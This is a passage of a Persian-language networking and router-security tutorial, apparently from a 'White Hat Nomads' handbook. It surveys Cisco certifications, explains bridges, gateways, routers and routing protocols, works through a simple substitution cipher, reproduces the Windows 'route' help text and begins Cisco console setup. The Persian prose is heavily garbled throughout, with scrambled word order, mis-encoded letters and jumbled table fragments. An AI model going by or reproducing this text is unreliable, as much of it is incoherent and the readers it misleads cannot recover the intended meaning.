دادی   برای سيسکو شرکت خود افزاری نرم های سيمولاتور از شود می پيشنهاد نيست صرفه مقرون به  courseتمرین استفاده نمایيد تع
ایش  را خود  معلومات  سطح  توانيد می سيسکو امتحانات از یک هر در بطوریکه دارد وجود مندان علاقه برای نيز متعدد  رده  آزم  و ک

  .زمایيدبيا را خود علمی سطح
  

د  می  که نکنيد فرض اینطور است ها دوره این مرحله به مرحله گذراندن بعدی مطلب ثلا  تواني دون  م دن دوره   ب ه دوره  CCNAگذران  ب
CCNPد  دریافت  را نظر مورد مدارک جهشی قولی به یا  بروید دون  علمی  نظر  از اصولا  چونکه  کني را  ب رفتن  ف ایينی  های  دوره گ  پ
 ضروری  و لازم بعدی  های  دوره برای پایه عنوان به زیر های ازدوره یک هر نيست پذیر امکان اصلا بالایی های دوره مفاهيم درک
ز  خاص  های  تخصص از بعضی به مربوط های دوره تعدادی نيستند های سيسکو دوره تمامی زیر های دوره البته است  می  موجود  ني
 .اند شده معرفی زیر جدول در ها دوره این ولی مهمترین باشند

  
  نام دوره  آموزشهای پيشنهادی  توضيحات

  
  شبکه مبانی

OSI model – TCP/IP –Basic of  
Networks and protocols 

  

Pre Cisco 

    Introduction Cisco Networking 
Devices (ICND) 

    Introduction to Cisco 
Networking technologies 
(ICNT) 

  
ا  سویچ  پيکربندی و نصب ر ه   و ه  ایروت
ع  – سيسکو ستم   رف  – شبکه  های  عيب سي

 شبکه افزایش امنيت
  

Introduction Cisco Networking 
Devices (ICND) 
Introduction to Cisco 
Networking technologies 
(ICNT) 

  

CCNA ( Cisco certified Network 
Associate ) 

  
 نزدیک  –قابليت   تخصصی  و فنی اجرای
 -  ها داده فيکترا و کاهش ها شبکه ساختن

ایی ع و شناس ای مشکلات رف ر ه  روت
 .... و -سيسکو   شرکت

  

Building Scalable Inter 
network ( BCSI ) 
Building Cisco multilayer 
Switched Networks ( BCMSN) 
Building Cisco remote Access 
Networks ( BCRAN ) 
Cisco Inter Network 
Troubleshooting Support (CIT) 
 

CCNP ( Cisco Certified 
Network Professional ) 

  
 . پيچيده شبکه های طراحی ای حرفه دانش

سکو  های  و سویچ ها روتر طراحی  در سي
ای  بکه ه  Dialو LAN وWANش

Access  
  

Building Scalable Inter 
network ( BCSI ) 
Building Cisco multilayer 
Switched Networks ( BCMSN) 
Designing Cisco Network 
Architecture ( ARCH ) 
 

CCDP ( Cisco Certified Design 
professional ) 

  
 فنی سيسکو دانش سطح بالاترین

 

CCIE Communications and 
Services 
CIE Routing and Switching 
CCIE Security 
CCIE Voice 

CCIE ( Cisco Certified Internet 
Working Expert ) 
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ه  وارد  هم الا  های  دوره و م یک کلام    در ب

 !!مخ شبکه 
  

 CISSP 

  
  

د  می  دریافت دوره را همان به مربوط علمی مدرک بگذارند سر پشت موفقيت با را سيسکو های دوره تمامی که دوستانی ثلا  نماین  در م
ه  است و  گذاشته سر پشت را سيسکو های دوره کليه نظر مورد شخص زیر تصویر الا  از یکی  ب ری  ب ی  دانش  سطوح  نت ن  فن شرکت    ای

CCDPاست گردیده   نایل . 
  

  
  
  
ی  های روش و ها متد به بلکه نداریم را سيسکو آموزش قصد مقاله این در ما ود  خواهيم  آن اشاراتی  هک  ضد  و هک  و امنيت  سعی  نم

ود  خواهيم د  در نم ه  بخش  چن ه  ب م  مطالب  ارای ردازیم  مه ين  بپ ه   در همچن سمتی ب ان  ق داول  های  فرم دی  در مت ر  پيکربن ا  روت  خواهيم  ه
 شمرد بر خواهيم اجمالی طور به را نفوذگری ها روش تعدادی پرداخت

  
 پرداریم می موضوع به های امنيتی جنبه ار بلکه داد نخواهيم نشان شما به مستقيم طور به را شبکه یک های روتر به نفوذ چگونگی ما

ایيم  می  معرفی  شما به کامل را امنيتی های سياست بهمراه مناسب های پيکربندی و ها دستور مثلا ا  نم ن  از ت ود  در نکات  ای  امنيت  بهب
د  مورد چند به البته خرابکاری جهت در نمایيد نه برداری بهره خود داخلی های سيستم وذگری  های  مت م  نف رای  ه ه  ب دان  علاق  اشاره  من
 . نمود خواهيم

  
ادی   و اصلی  به لایه ابتدا از که است بهتر کنيد پا بر نفوذگران برابر در را تری پيچيدی دفاعی های لایه بتوانيد اینکه جهت در  OSIبني

ا  شبکه   کردن Secure عنوان  به آن از امنيتی جامعه در که چيزی آن متاسفانه. شوید معطوف زی  شود  می  اطلاق  ه دامات  جز  چي  اق
 .است  نبوده Application layerلایه  امنيت بهبود جهت در امنيتی
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شتری  اهميت دارای که آنچه ه  توجه  باشد  می  بي ه  ب ایينی  های  لای ویزه   پ ه  از باشد  می physical Layer  و  Data link layerب  جمل

 را شما ما مختلف های مدل و انواع به توجه باشد با می ها روتر بندی پيکر زمينه این در فيزیکی اجزای و بنيادی های قسمت مهمترین
ه  آنچه  نمایيم می آشنا گوناگون های مدل با ها انواع روتر کليه برای امنيتی اتنک و ها ليست چک سری یک به ه  ک دی  پيکر  بحث  ب  بن

  .داد قرار بررسی مورد حوزه دو در توان می شود را می مربوط ها روتر اوليه های
 

1. Router Access configuration 
2. Router List Configuration 

  
شتر . بسپارید خاطر را به ساده نکات این است بهتر نمایيم می  اشنا Router Access Configurationقسمت  با را شما ابتدا  سعی  بي
 بدون انواع دیگر به نيز کلی نگاه یک سيسکو های امنيتی روتر های بندی پيکر مورد در توضيحاتی بر علاوه که بود خواهد این بر ما

 داشته اضافی و خاص دستورات گيری یاد به نياز
  .داد خوهيم قرار شکافانه مو بررسی تحت را دوم موضوع سپس شيمبا
  
شابه  روتر نوع از یک مختلف های مدل در و ها مدل بيشتر در سيسکو های روتر پيکربندی دستوری زبان و کلی اصول کل در  می  م

ان  یک  يسکوس دستورات کنيد خود مراجعه مدل هر فرمان های کتابچه به توانيد می ها تفاوت صورت در باشند ه  منحصر  زب رد  ب  را ف
   زبان این  باCCNAهمانند  ای دوره در ميدهد تشکيل

 .شوید می آشنا است ها روتر پيکربندی به مربوط که انحصاری

  
  

  است مشاهده  قابلIDS بالا  قسمت آتش در دیواره و UPS با شد حفاظت 2500 مدل سيسکو روتر
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ز  دوست  اگرشما  نمایيم می ارائه را ندارند ها روتر مفاهيم و مبانی با انیچند اشنایی که دوستانی برای را بخش این ن  در عزی ه  ای  زمين
 دوستان تمامی که ميکنم پيشنهاد ولی بفرمایيد مطالعه را های بعدی بخش و گذشته بخش این از توانيد می هستيد قبلی های تجربه دارای
  .نمایيد مطالعه بعدی های فصل شتربي و درک بهتر برای نيز را ای پایه مفاهيم بخش این

 
ر   شرکت  دو منابع از از بخش این تهيه برای تفاده  Microsoft  وIBMمعتب واردی  در است  شده  اس م  م رای  ه ق  ب ودن  دقي ا  مطلب  ب  ب

رای  را کدام هر دقيق تعاریف موضوع هر هایRFC به مراجعه دگان  ب رم  خوانن ودیم  استخراج  محت ا  نم  مشکلی  علمی  نظر  نقطه  از ت
 این تهيه در که عزیزم دوست از تشکر با باشند نداشته
  .کردند فراوانی های کمک بخش

 
ه  آنچه  شوند  می  گسترده نامحدودی جغرافيایی گستره  درWide Area Networkگسترده  های شبکه دانيد می که همانطور ن  در ک  ای

ا اجزای   باشد   می WAN در موجود  های افزار سخت باشد می مطرح ميان شکي  ت دهی  لت ن  دهن ی  را پيکره  ای ی   های  شبکه  یعن  محل
LANوز  یا و شدند می گرفته کار به متفاوت های دوره در متفاوتی های افزار سخت هم این ميان در نماید متصل هم به نحوی به را  هن

رتبط  برای که معروف قطعه چندین ميان این در ميروند کار به هم ا LAN کردن  م ه  ه ار  ب ه  ک ل  از ندشوندعبارت  می  گرفت   (Bridge)پ
  . (Router)مسيریاب همان یا روتر  وGatewayو

 
 که محلی های شبکه زیر از خود گسترده شبکه این کنيد می مشاهده  راWANیک  از را مفهومی شماتيک نقشه یک شما زیر شکل در

  بهA محلی  شبکه داخل از خواهد می داده پکت که این بگيرید بر را فرض است شده شکيل ها نود سری یک و ارتباطی خطوط توسط
 یک انجام برای تقاضا یک یا بود خام اطلاعات ميتواند باشد خواهد می که چيز هر اطلاعاتی بسته این حال  برودE محلی  شبکه مقصد
ا  و متفاوت های مسير از تواند می ای داده پکت این. خارجی سرور دریک خاص عمل ا  توجه  ب د  می  خطوط  ترافيک  ب ه   توان  مقصد ب

  .شود رهسپار

  
  
تادن  برای مسيری چه که این ن  فرس ر  شود  انتخاب  اطلاعاتی  پکت  ای ده  ب ا  عه ری   باشد  می  روتره رین  از را پکت  هر روت  و نزدیکت

د  ثبت  را جهش یک و بعدی فرستاده ایستگاه به مسير ترین ترافيک کم عبارتی به موجود راه ترین پرسرعت ين  مينمای رای  مطلب  هم  ب
  .ميشود تکرار نيز راه ميان های روتر دیگر

ال  طور به مقصد برسد به تا گذشته متعددی ی ها شبکه و ها مکان از است ممکن داده پکت یک که است موضوع خاطرهمين به  ا  مث  ب
ا  زا ای داده پکت  یک*NIX های  سيستم  درTraceroute  وtracert فرمان  ال  خود  مقصد  ت د  دنب د  و کني ه  بفهمي ود  چه  از ک ا  ن  ییه
  .برسد مقصد به تا ميگذرد
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دام  IP همراه به مسير های نود به نمایيد tracert  راwww.google.comسایت  مثال طور به د  توجه  هرک داری  نمایي د  صبر  مق  و کني

 از شما  هک  ای داده پکت مسير از نقطه چند یا یک که مشاهده ميکند اوقات اغلب در دهيد انجام مقصد همين برای را عمل همين دوباره
ه  خود  شخصی  سيستم د   مقصد  طرف  ب تاده بودی ر  فرس ن  است  داده مسير  تغيي ر  ای ر  مسير  تغيي ر  ب ابی است   مسير  های  جدول  اث ه  ی  ک

Routing Tables ه  توجه با روتر هستند ها مسير بررسی حال در دایناميک صورت به ها روتر درون در پيوسته ن  ب  جداول است   ای
  .شوید آشنا دیگرشبکه جز چند به بایستی ها روتر اهميت بيشتر فهم برای شود نتخابا ه را کدام ميدهد تشخيص که
 

: Bridgeاط  ایجاد برای که باشد می افزاری سخت قطعه یک پل همان  یا تفاده  آن  ازLANدو ارتب اوت  شود  می  اس ين  تف ل  یک  ب  و پ
ی  شبگه  در یک پل یک است ها داده ارسال و محلی های شبکه کردن مرتبط های روش در روتر ا  محل ابراتی  ی ای  مخ  در را داده پکته
ن  خطوط  و پل یک طریق  از LAN دو رمثال طو به نماید می کپی مجاور شبکه دوم لایه الی  تلف د  می  دیجيت ا  یک  در توانن ه  انته م  ب  ه

اهش  باعث  سنتی صورت به پل همانند افزاری سخت از طریق اتصال ها شبکه برای شوند مرتبط ا  داده الارس  در سرعت  ک شود  ه  مي
 عملکرد با اگر نمود استفاده ميتوان نيز شرایط بعضی در البته باشد نمی خوبی راه آنچنان گسترده های شبکه در ها پل انبوه پس استفاده

ا  پل و ها روتر بين که فرقی دهند می اختصاص خود را به شبکه باند پهنای از مقداری آنها ذاتی عمل باشيد آشنا ها پل و سویچ  است  ه
 پل با ميشوند پيکربندی سوم لایه همان در ها روتر ولی گيرند می قرار شبکه دوم لایه در عملکرد خود در ها پل که باشد می مطلب این
ند  دسترسی داشته   دست  دور منابع به توانند می هم طریق این از کاربران و نمود ایجاد را گسترده های شبکه ميتوان هم ها ی  باش ا  ول  ی

ه  نيست  صرفه به مقرون این روش از استفاده دیگر ها شبکه کاربران افزون با رو تعداد و ها داده حجم و ونیکن وضع ی  یک  البت  مزیت
ر   پروتکل از که هایی شبکه در دارد وجود آن از استفاده در تفاده TCP/IP دهی   مسير  های غي د  می   اس د   نماین   وNET BIOSهمانن

NET Beuiنددار فراوانی  کاربردهای .  
انطور  که کند کار تواند  میData Link لایه  در کند  کارNetwork Layer شبکه  ی لایه در کار جای به که انجایی از پل ها ه  هم  ک
زار  نرم نه است افزار سخت به مربوط لایه این دانيد می د  و خاص  اف سياری  در ميتوان ا  ازشبکه  ب ا  ه زار  سخت  ب اوت  های  اف ار  متف  ک

 .شود می گرفته نظر در هوشمندانه بيشتر عملکرد و سرعت در ها روتر مزیت همان کندولی
ه  کل در ميگيرند عهده بر را متفاوتی وظایف شوند می گرفته کار به که جایی به بنا نيز ها روتر وع  سه  صورت مفهومی   ب ر  ن  از روت
سترده  های  شبکه  فقرات ستون همان یا و اصلی پشته که هایی روتر  یاBackBoneهای  روتر شمرد بر توان می را مکانی نظر  را گ
ار  به ها روتر نوع این در که ای آوری فن اصولا آورند می عریض فراهم بسيار باند پهناهای با ارتباطات ایجاد برای رده  ک  شود  می  ب
د  ها پيروی روتر دیگر اصول همان از ی  ميکن ن  در ول واع  ای ارامتر  ان ه  من  خاصی  های  پ ایی  جمل ا  پکت  پخش  توان  های  مسير  رد ه

 خصوصيات بالا از بسيار های سرعت با فراوان های داده حجم یابی مسير و هدایت توانایی یکدیگر به مقصد در آنها و اتصال گوناگون
وع  باشد  می  ها روتر از نوع این ر  دیگر  دون ز  روت ه  ني وان  می  ک ام  ت رد  ن ر  یکی  ب ه  های  روت ار  ب ه در  ک ا  شبکه  داخل  رفت  یکی  و ه

  )کنيد توجه زیر تصویر به( ای شبکه بين ارتباطات
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:Gatewayومفهوم بروید شبکه متخصص چند دنبال به توانيد  می Gatewayنيز آنها از کدام هر که دید خواهيد. شوید جویا آنها از را 
 می  مفهومی  یک  این که شود می ناشی انجایی این از البته دهند می ارائه شما برای را موضوع این از خاص مفهوم یک و ترجمه یک
 اشاره تواند می ها شبکه در زیادی قطعات به که باشد

د  عمل  مجاور شبکه دو یا ها شبکه ی برا لاینه چند و طرفه دو راه بزرگ یک همانند تواند  میGatewayنماید  ه  کن ال  طور  ب  یک  مث
 Gateway گيردیک  می قرار اینترنت همانند WAN گسترده شبکه یک و داخلی شبکه دو بين ما  کهProxy Server سرور پروکسی

ه  شود می گفته افزارهایی سخت به دیگر مفهوم سرور پروکسی این  برایGateway کلی  مفهوم اینجا در باشد اطلاعاتی   های  پکت  ک
  .دارد کاربرد

ا  پل تعریف این با پس گذراند می مخلف های شبکه از  را IPاطلاعاتی  های پکت که شود می گفته افزارهایی سخت به دیگر مفهوم.  ه
 ها شبکه  هاGateway نميگيرد  خود به را دهی مسير مفهوم و معنی جایی هر اما دارند تعلقGateway گروه  دسته به نيز ها روتر و
د ک نمی   استفادهTCP-IP پروتکل که از ای شبکه با ارتباط برای مثلا سازند می مرتبط هم به را هم از متفاوت های پروتکل با را یی  ن

  پروتکل کامپایلر هاGateway به  نظر این از باشد مفيد تواند می بسيار
  راIPX Netware کاربران شبکه   تواند می مثلا شود می اطلاق یکدیگر به شبکه های پروتکل مترجم همان یا یکدیگر به شبکه های
  . نماید  متصلIP منابع  با شبکه یک به

اربردی  امروزه  نيستWANیک  ایجاد مثلا یکدیگر به ها شبکه کردن وصل منظور کنيد دقت ه  ک ر  ب اربرد اتصال   از غي ه  ک ان  ک  هم
 شود می استفاده ان از باشد می ها پروتکل ترجمه

 
:Routersد  می  عهده بر را ها شبکه بين ما اطلاعات دهی مسير کار ما برای که هستند وسایلی ها  روتر انطور  گيرن ه  هم ه  ک  شد  گفت

ی   های  شبکه در شود می تعریف شبکه سوم لایه در ها روتر اصلی کار ی وقت ع  داخل  باشد  شبکه  یک  داخل  در اطلاعات  مقصد  و منب
اط   یک مثلا باشد داخلی شبکه از خارج وقتی مقصد ولی شود می فرستاده مستقيما اطلاعات ا  LAN2LAN ارتب   ازLAN2WAN ی

را  مسير  ترین سریع و ترین کوتاه پستچی یک همانند هم روتر و شود می داده روتر به اطلاعات گردد می استفاده عمل این برای روتر
شاهده   دهد نمی انجام ها داده روی بر عملياتی گونه هيچ روتر فرستد می بعدی ایستگاه به و داده تشخيص د  اگر م ه  کن  وجود  مسيری  ک

 هست  توجه  جالب  بسيار عملکردشان و ها تررو فرستد می بعدی روتر به آنرا باشد شده تعریف پکت آن  برایGatewayیک  و دارد
ا  شبکه  سرعت که شده است باعث هوشمندانه طراحی و عملکرد همين دین  ه ر  چن د  فکر  شود  براب ه  کني ن  اگر  ک ه  ای ود  اجزا  گون ه  نب  ب
 ثانيه از یکسر در عمل این انکه حال ميکردید صبر باید دقيقه  به چندینWebpage یک  دیدن برای خواست در هنگام شما مثال فرض

رای   آسان و کلی مفهوم ما آسان هم است پيچيده هم فنی نظر از ها روتر عملکرد ميگيرد صورت را ب ان  شما  آن يم  بي  هر  داخل  در ميکن
 جداول  اینRouting Tablesهستند  معروف دهی مسير به جداول اطلاعات دسته این دارد وجود دهی مسير اطلاعات دسته یک روتر
ی  های پروتکل با و بوده دایناميک صورت به ر  داخل ا   روت  Open Shortest Path  وRouting Information protocol (RIP)ه

First (OSPF)و ممکن  های  مسير تمامی دهی مسير جداول نمایند می بدل و رد خود بين را هایی پيغام دائمی صورت  به Gateway 
اه  جدول به مراجعه با پيوسته صورت به روتر و بوده شامل داند می روتر که را دسترس در های د  نگ ه  ميکن ا  ک  و دارد وجود  راهی  آی
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ه  سپس  و است  کدام مسير ترین کوتا دارد وجود اگر د   داده ارسال  ب دام ميکن ه  اق سایل  البت ز Encryption و Authentication م ر  ني  ب
  .نمود خواهيم اشاره نيز آنها به ادامه در که گردد می اعمال ها پکت روی
  . نمایيد استفادهroute Print دستور از توانيد می دهی مسير جدول شاهدهم برای

  
 
دی  بر متمرکز بيشتر اوليه مراحل در سيسکو های دوره( ه  شبکه  اجزا  پيکربن ر  ازجمل ا  روت ابی   و امنيت  و ه ا  اشکال ی  در و است  آنه

ام   به واحدی با روتر هر عملکرد مقياس می شود متمرکز امن و سریع و مدرن های شبکه طراحی روی بر تر پيشرفته و بالا مراحل  ن
Hopبه را پکت اولين بتواند روتر اگر شود می بررسی  
ه  یک گویيم برساند بعدی ایستگاه ه   صورت Forwarding مرحل ه Hop است  گرفت وان  ب ين در اطلاعات  جهش  عن ين  مسير  ب  دو هر  ب
 می نظر در روتر برای را جهش سقفیک RIP ها  پکت ارسال ابتدای در .شود می اضافه شمارنده به و شود می گرفته نظر در روتر
شود  گرفته نظر در ها جهش حداکثر برای   جهش١٦ مثلا گيرد ر  اگر  مي د  روت ر  در را اطلاعات  ارسال  نتوان  محقق  جهش  ١٦ از کمت
 برای حتما گاهی شود می گرفته رنظ در تری کوتاه مسير یک اینصورت در برساند مقصد را به اطلاعات که است نتوانسته روتر سازد
 عرض  و حجم صفحه  همچون هایی پارامتر بر علاوه بمانيد منتظر لحظه چند بایستی وب صفحه یک آوردن در که آمده است پيش شما
ات  ولی بيشتر است نموده وصل اینترنت به را شما که ای شبکه همچنين و اتان استفاده مورد باند ين  اوق سيله   هم  عات اطلاRouting م

  .است اخير موضوع همين با مرتبط حدی تا است بالا شبکه ترافيک شود می گفته که این شود می ها تاخير آن باعث
 

تفاده  داده پکت  دهی  مسير   برایTCP/IPپروتکل  قسمت چهار از ها روتر د  اس ن  ميکنن ار  ای انطور  بخش  چه ه  هم ه  ک  اجزای  شد  گفت
  .باشند میGateway دهنده تشکيل

  
ه   هستند TCP/IP اعضای  دهنده تشکيل های پروتکل این جاست همين هم ماجرا اصل واقع در  ر  ک ا  روت ا  از ه رای  آنه  دهی  مسير  ب

ود  ها روتر دهی مسير علمی دقيق تعریف این مينمایند استفاده ها پکت ن  ب ه   ای ار قطع  و Exterior Gateway Protocol (EGP) چه
Border Gateway Protocol (BGP) و OSPF وRIP ند ا  دو  ميباش ن  از ت ا  پروتکل  ای انطور  ه ه  هم يم  ک وط  گفت ه  مرب  پروتکل  ب

رتبط WAN  وLAN های   شبکه  داخل در ها داده دهی مسير با که هستندGateway داخلی  ند  می   م م  دیگر  پروتکل  دو باش  جزو  ه
 ساخت های روتر و سيسکو گردند می استفادهWAN  وLAN از خارج در اطلاعات دهی مسير برای Gateway خارجی ها پروتکل

ا  پروتکل این از خوبی به آن شتيبانی Internet Work operating System ( IOS ) در ه د  می  پ ع  در نمای  بعدی  های  بخش  در واق
ذیری  اسيب به مربوط که انچه ر  های  پ سکو  های  روت رتبط  سي ا  شوند  می  م ن  ب ی  پروتکل های   ای م Gateway خارجی   و داخل  در  ه

 . هستند ارتباط
 
 ها  داده سنجی اعتبار یا همان ها داده اعتبار کنترل توابع از استفاده اورند می ارمغان با ما برای امروزی های روتر که را فرایندی دو

Authenticationیعنی  اطلاعات رمزنگاری  و Encryptionد  در که آنست ها داده اعتبار کنترل باشند می ا  یابي ی  آی ه  پکت  ازجایی  ک
 را ادعا این صحت و نه یا است امده ندميک ادعا که

ا  را داده رشته  یک شما که است معنا بدان نيز رمزگذاری و نمایيد روشن ردان  ب ه  برگ ی  ب ه  دیگر  فرمت ه الگوریتم   ک رار  ب  ای دادی ، ق
 اتخاذ مقصد و بدام در ها داده فرم کردن درعوض نباشد خواند قابل معمول صورت آ اساس بر ای نگاری رمز هر پایه ورید با که است
  .نمایيم بازگو قرار بهتررمزگذاری درک جهت در شما برای را مثال یک بگذارید شود می

 
 دانستن بدون آورید بدست یک طریقی به را رشته این و باشيد گر نفوذ یک شما اگر دهد می نشان را مفهومی چه زیر رشته شما نظر به

ه  را نکاری  رمز  الگوریتم یک خود بين شریفی وآقای من فرض کنيد ندارد ای فایده يچه شما برای اطلاعات این کننده رمز الگوریتم  ب
  :است  صورت این به پيغام شود می دزدیده پيغام این راه بين در و ميفرستم پيغامی من کردیم طراحی داد قرار عنوان

 
00y24j9k10v21i8g600g9c2v210100p15q16o14c2f5u20 

 نمایيد گشایی رمز ما برای توانستيد اگر دهم می نشان را کلمه این الگوریتم شما به حال



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٧٥٢    صفحه

Abcdefghijklmnopqrstuvwxyz 
0123456789 
a=1 b=2 c=3 d=4 …… y=25، z=26 
00=Capital 
01=space 
Coding Algoritm: عدد متناظرمنهای یک  « دوجهش به جلو « یک حرف شود انتخاب 
Example: a » c » c3 » c2 

 کد رشته در یعنی کنيد عکس عمل بر صورت به بایستی اصلی کلمه خود آوردن برای بدست است مشخص الگوریتم ماش برای که حال
 می  بدست  نظر مورد کلمه نمایيد عمل صورت همين به آخر تا اگر وT حرف  شود می نيز عقب به جهش دو   وv22 ميشود v21بالا 
ورد  نگاری  رمز روش شدن پيچيده منظور به فقط که گيرد  میصورت اعمالی اطلاعات کردن رمز هنگام به گاهی اید تفاده  م رار  اس  ق

شاهده  که را مثالی . عدد یک با حرف هر متناظر کردن بالا مثال در مثلا ميگيرد د  م ا  اصول  نمودی ر  حکمفرم ا  رمزنگاری  ب  ميباشد  ه
ده  های  رمول ف ولی کردیم بيان موضوع اصل فهميدن برای را ابتدایی و ساده یک مثال ما حال د  و پيچي ون  چن د  بعضا  دلاری و ميلي  چن

ا  اطلاعاتی  های  سازمان دلاری ميليارد در  دني سترده  آنق ده  های  الگوریتم  دارای و گ ند  ای پيچي ه  ميباش وان  نمی  ک دون  ت ستن  ب  خود  دان
 از ها بندی فرمول نوع همچنين و ندميشو پياده های الگوریتم چنين درتهيه که ریاضياتی داشت چندانی اميد انها گشایی رمز به الگوریتم
شکيل  در دیگر های پارامتر خيلی و ها ولگاریتم و ای آرایه صد چند هایی ماتریس هایی با فرمول است خارج بشر تصور ا  فرمول  ت  ه
درن  و کلاسيک  رمزنگاری های متد درزمينه که دارند دوستانی نقش د  داشته  فعاليت  م ن  منظور  ان ه خوبی   را من  کلام  ای  می  رکد ب
ار  الگوریتم  یک  برطبق اطلاعات گشایی رمز برای افزار نرم یک ساخت ریاضی فرمول یک طراحی از بعد - نمایند دان  ک  سختی  چن
  .نمایيد ایجاد راcoder/decoder یک برنامه  توانيد می خود دارید احاطه نویسی برنامه به مقداری اگر نيست

  
رتبط  مفاهيم و ها روتر دهندهی تشکيل های بحث اتکلي فرمودید مطالعه بالا در شما که آنچه ا   م ود  شبکه  درRouting ب ده  ب  شبکه  آین
 Classless Inte-Domain Routingهمانند  جدید تری های تکنولوژی همراه به و سریعتر هایی روتر گيری کار به در گسترده های

( CIDR )و  Internet Protocol version 6 (IPv6 or IPNG) ه  پرسرعت های شبکه نياز شد واهدخ  متحول راه  ب از  هم  روز ني
ود  نيز امنيت موضوع آن همراه به ميسازد نمایان گذشته از بيشتر افزاری را سخت جزء این اهميت کاربران افزون د  نم ه  ميکن  سعی  ک
  .بپردازیم  نيز مقوله این به تا حدی نمود خواهيم

  
رای  اد  ب رات  و تنظيمات  ایج ين  وRouting جداول   در تغيي ه  دسترسی  همچن ا  سویچ  ار بعضی  ب رامين  و ه ان   خود  از دیگر  ف  فرم

routeآنصورت در که ننمایيد دستکاری را پيشفرض تنظيمات نيستيد ای حرفه کاربر اگر ولی بگيرید بهره خود سيستم فرمان سطر در 
 خواهد مواجه اختلالاتی با شبکه با شما ارتباط زیاد احتمال به
 .داشت خواهيد اتان سيستم صحيح پيکربندی به نياز دوباره و شده قطع ارتباط کل نيز قعموا بعضی در و شد
  

C:\Documents and Settings\B0rn2h4k>route /? 
Manipulates network routing tables. 
ROUTE [-f] [-p] [command [destination] 
[MASK netmask] [gateway] [METRIC metric] [IF interface] 
-f Clears the routing tables of all gateway entries. If this is 
used in conjunction with one of the commands، the tables are 
cleared prior to running the command. 
-p When used with the ADD command، makes a route persistent across 
boots of the system. By default، routes are not preserved 
when the system is restarted. Ignored for all other commands، 
which always affect the appropriate persistent routes. This 
option is not supported in Windows 95. 
command One of these: 
PRINT Prints a route 
ADD Adds a route 
DELETE Deletes a route 
CHANGE Modifies an existing route 
destination Specifies the host. 
MASK Specifies that the next parameter is the 'netmask' value. 
netmask Specifies a subnet mask value for this route entry. 
If not specified، it defaults to 255.255.255.255. 
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gateway Specifies gateway. 
interface the interface number for the specified route. 
METRIC specifies the metric، ie. cost for the destination. 
All symbolic names used for destination are looked up in the network database 
file NETWORKS. The symbolic names for gateway are looked up in the host name 
database file HOSTS. 
If the command is PRINT or DELETE. Destination or gateway can be a wildcard، 
(wildcard is specified as a star '*')، or the gateway argument may be omitted. 
If Dest contains a * or ?، it is treated as a shell pattern، and only 
matching destination routes are printed. The '*' matches any string، 
and '?' matches any one char. Examples: 157.*.1، 157.*، 127.*، *224*. 
Diagnostic Notes: 
Invalid MASK generates an error، that is when (DEST & MASK) != DEST. 
Example> route ADD 157.0.0.0 MASK 155.0.0.0 157.55.80.1 IF 1 
The route addition failed: The specified mask parameter is invalid. 
(Destination & Mask) != Destination. 
Examples: 
> route PRINT 
> route ADD 157.0.0.0 MASK 255.0.0.0 157.55.80.1 METRIC 3 IF 2 
destination^ ^mask ^gateway metric^ ^ 
Interface^ 
If IF is not given، it tries to find the best interface for a given 
gateway. 
> route PRINT 
> route PRINT 157* .... Only prints those matching 157* 
> route CHANGE 157.0.0.0 MASK 255.0.0.0 157.55.80.5 METRIC 2 IF 2 
CHANGE is used to modify gateway and/or metric only. 
> route PRINT 
> route DELETE 157.0.0.0 
> route PRINT 
C:\Documents and Settings\B0rn2h4k> 

  
  

از  هر انجام برای را شما دست روتر یک کنترل کامل گيری بدست هنگام به ها فرمان این از استفاده د  کاری ب ی  اشت گذ خواه ر  ول  بهت
  .نمایيد تهيه آن از نسخه پشتيبان یکی روتر پيکربندی فایل در تغييراتی هرگونه انجام از قبل ميباشد

  
  Cisco SETUP 

  
رم  یا افزاری سخت هر قطعه علمی و اصولی اندازی راه سيستمی هر امنيتی های پارامتر بهبود بر گذار تاثير مسایل از یکی زاری  ن  اف
 راه و نصب مسووليت که پيمانکاری مثلا که آنست پيوندد می بوقوع اغلب ها  شبکهSetup و طراحی در اغلب که تینکا از یکی است

 ار یک  هر  نصب در را لازم دقت ها کار گستردگی علت به یا مختلف علل به موارد دربعضی گيرد می دست در را شما شبکه اندازی
 برسد  خوب بنظر  ظاهر در چيز همه و بدهند تحویلتان مقرر موعد سر و خوبی به هم را شما شبکه شاید دهد خرج نمی به شبکه اجزاء

 شده اشاره موارد تمامی به دقت با راه اندازی و نصب امور به متخصص شخصی اگر ولی بدهد تحویل هم را پا سر شبکه یک شما به و
ود  خواهد خورد بر حتما هایی سربندی نماید به بررسی را اتان شبکه امنيت و نصب های ليست چک در م  شما  چنانکه  نم ابيش  ه ا  کم  ب

مفاهيم  با گذشته بخش در باشد می روتر یک دقيق و اصولی نصب شود می مربوط ما بحث به که ولی آنچه هستيد درگير مسایل اینگونه
سایل  از یکی  نيز بخش این در شدید اشنا  شبکهRoutingدر   حاکم اصلی اثير  م ذار  ت ر  گ ر  امنيت  ب ا   روت ه  را ه ان  ک  راه و نصب  هم
  .مينمایيم  تشریح عزیزان شما برای را باشد می اصولی اندازی

 
 بفرمایيد توجه زیر نکات به

 کار به شروع
 :از عبارتند شد خواهد داده تحویل شما به آن همراه آه لوازمي روتر یك خرید هنگام به
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 برق سيم 1-
 آامپيوتر به روتر اتصال آابل 2-

CD -3 یك 
 راهنما دفترچه كی 4-

 :آنيد دنبال را زیر مراحل
  
رده  دریافت روتر همراه آه اتصالي آابل طریق از اینكار.آنيد متصل آامپيوتر یك به را روتر -١ د  آ ام  ای ر  در پشت .شود  مي  انج  روت

ه  آه دارد وجود پورتي شما ورت  آن ب د   مي console پ را .گوین دا  آن د  پي ل  سر  یك  و آني ه  را آاب رد  متصل  آن ب را  دیگر  سر  و هآ ه  آن  ب
  .آنيد  متصل نظر مورد آامپيوتر

 
ان  ها افزار نرم این . داریمterminal Emulationافزار  نرم یك به نياز روتر با آردن آار  براي-٢ ر  زب ا  روت د  مي  را ه  مي  و فهمن

د  ا  توانن ا  ب د  صحبت  آنه رم  .آنن زار  ن دوز Hyperterminal اف ن  از  وین انواده  ای تفاده  آن از دتواني  مي  و است  خ د  اس ه .آني ا  را برنام  ب
  :آنيد اجرا زیر پارامترهاي

9600 boud 
No Parity 
8 data Bits 
1 Stop Bit 

 .آنيد  استفاده direct to comگزینه  از اوليه اتصال براي اید آرده متصل آامپيوتر  بهcomپورت  طریق از را آابل صورتيكه در
  
  !!آنيد  روشن را روتر -٣
 

  :روتر ممه قسمتهاي
 

ROM(Read Only Memory) 
